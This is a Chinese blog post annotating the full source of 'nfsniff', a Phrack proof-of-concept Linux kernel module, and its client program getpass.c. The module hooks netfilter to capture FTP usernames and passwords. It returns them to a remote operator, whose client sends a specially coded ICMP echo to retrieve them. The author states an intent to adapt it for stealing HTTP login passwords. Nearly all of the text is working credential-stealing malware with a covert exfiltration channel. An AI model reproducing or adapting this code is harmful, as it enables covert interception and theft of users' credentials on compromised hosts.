【源码分析】基于内核的FTP密码嗅探器
2020-06-17 本文已影响0人
Minority
这个例子是Phrack Magazine给出的一个示例,我们要做的基于netfilter和LVM实现http明文登录方式的密码窃取的大致流程和这个类似,分析清楚这个也好在此基础上修改实现我们的功能。
需要提前了解的知识:
下面重点解析nfsniff/nfsniff.c文件(嗅探模块),getpass.c与使用raw socket实现icmp重定向攻击的实现基本相同,如不理解可以参考这篇文章。
<++> ================================nfsniff/nfsniff.c================================
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* Written by bioforge, March 2003 */
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
/* 设置一个magic number,用作暗号 */
#define MAGIC_CODE 0x5B
/* ICMP有效负载大小为36字节:
target_ip四个字节 + username预留16字节 + password预留16字节
*/
#define REPLY_SIZE 36
#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))
/* 这些值用于保存用户名和密码直到他们被询问,用户名密码只保存一次,一旦被查询过了就删除 */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* 拿到密码的标志 */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
/* 该函数查看已知是FTP包的sk_buff。查找USER和PASS字段,确保它们都来自target_ip字段中指定的主机 */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;
// 得到tcp数据包
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
// 得到TCP数据报的数据部分,tcp->doff是TCP头长度
data = (char *)((int)tcp + (int)(tcp->doff * 4));
/* 确保此数据包的目的地和target_ip是同一台主机 */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;
/* 尝试看看这是否是一个用户或密码,ftp数据包中USER之后是用户名,PASS之后是密码 */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
// 把data移动到“USER ”(5byte)之后,开始取数据
data += 5;
if (username) return;
// 记录数据长度(用wireshark抓包可以发现,用户名和密码后面都有\r\n结束符)
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
// 分配内存:大小为len+2
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
// 初始化内存
memset(username, 0x00, len + 2);
// 拷贝真正的username
memcpy(username, data, len);
// len + 2的原因
*(username + len) = '\0'; /* NULL terminate */
}
// 密码的操作同上
else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
data += 5;
/* 如果没有用户名,那就不用获取密码 */
if (username == NULL) return;
if (password) return;
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = '\0'; /* NULL terminate */
}
//
else if (strncmp(data, "QUIT", 4) == 0) {
/* 收到退出命令。如果我们有用户名但没有密码,清除用户名并重置一切 */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;
return;
}
}
else {
return;
}
if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;
// 拿到用户名和密码后把have_pair标志置1,
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %s\n", username, password);
}
/* 函数作为POST_ROUTING (last)钩子调用。它会检查FTP流量出去的数据,然后搜索该流量的用户和传递命令。 */
static unsigned int watch_out(unsigned int hooknum, //钩子类型
struct sk_buff **skb, //sk_buff结构的指针,用于描述数据包的结构
const struct net_device *in, //描述各种网络接口数据包到达的接口
const struct net_device *out, //描述各种网络接口数据包离开的接口
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;
/* 因为我们需要的数据包是TCP数据包,所以把非TCP数据包放行 */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT;
// 得到tcp数据包:把ip数据包的头部除去了
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
/* 如果这个端口不是ftp的数据传输端口,则放行 */
if (tcp->dest != htons(21))
return NF_ACCEPT;
/* 如果是ftp数据包,而且还没有拿到密码,则进程数据包解析 */
if (!have_pair)
check_ftp(sb);
/* 解析完放行 */
return NF_ACCEPT;
}
/* 把发来的代码Magic number的数据报,填上我们偷到的用户名和密码再返还回去 */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
/* 偷到密码==>放行 */
if (!have_pair)
return NF_ACCEPT;
/* 放行ICMP数据包*/
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
// 得到icmp包:ip数据包去掉IP头部
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
/* 验证是不是带有MAGIC_CODE的请求数据包 */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* 匹配我们的“魔法”检查,现在我们篡改插入IP地址和用户名/密码对的sk_buff,交换IP源地址和目标地址以及以太网地址
如果有必要,然后从这里发送数据包并告诉Netfilter是我们偷的。 */
//交换源ip和目的ip
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;
//表面数据包是向外发的
sb->pkt_type = PACKET_OUTGOING;
//确定这个数据包来自的什么类型的接口
switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];
/* 移动数据指针指向链接层头,改变链路头的h_dest和 h_source*/
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* 复制IP地址,然后用户名,然后密码到数据包中 */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4); // target_ip四个字节
if (username)
memcpy(cp_data + 4, username, 16); // username预留16字节
if (password)
memcpy(cp_data + 20, password, 16); // password预留16字节
/* 发送数据帧 */
dev_queue_xmit(sb);
/* 释放保存的用户名和密码并重置have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved\n");
return NF_STOLEN;
}
// 注册模块
int init_module()
{
pre_hook.hook = watch_in; // 回调函数为watch_in
pre_hook.pf = PF_INET; // 协议类型:PF_INET,面向IP层的原始套接字
pre_hook.priority = NF_IP_PRI_FIRST; //优先级
pre_hook.hooknum = NF_IP_PRE_ROUTING; //关键点:对netfilter的PRE_ROUTING位置操作,钩子调用的函数
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING; //关键点:对netfilter的POST_ROUTING位置操作,钩子调用的函数
// 注册函数
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
return 0;
}
// 注销模块
void cleanup_module()
{
// 注销函数
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
//注销模块时释放内存
if (password)
kfree(password);
if (username)
kfree(username);
}
<++> ========================nfsniff/getpass.c ========================
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* checksum函数声明 */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /*buffer */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
exit(1);
}
/* 得到raw socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B; // 主要点:0x5B为Magic number
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...\n");
//发过去再接受
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n", (char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s\n", (char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* 校验函数 */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}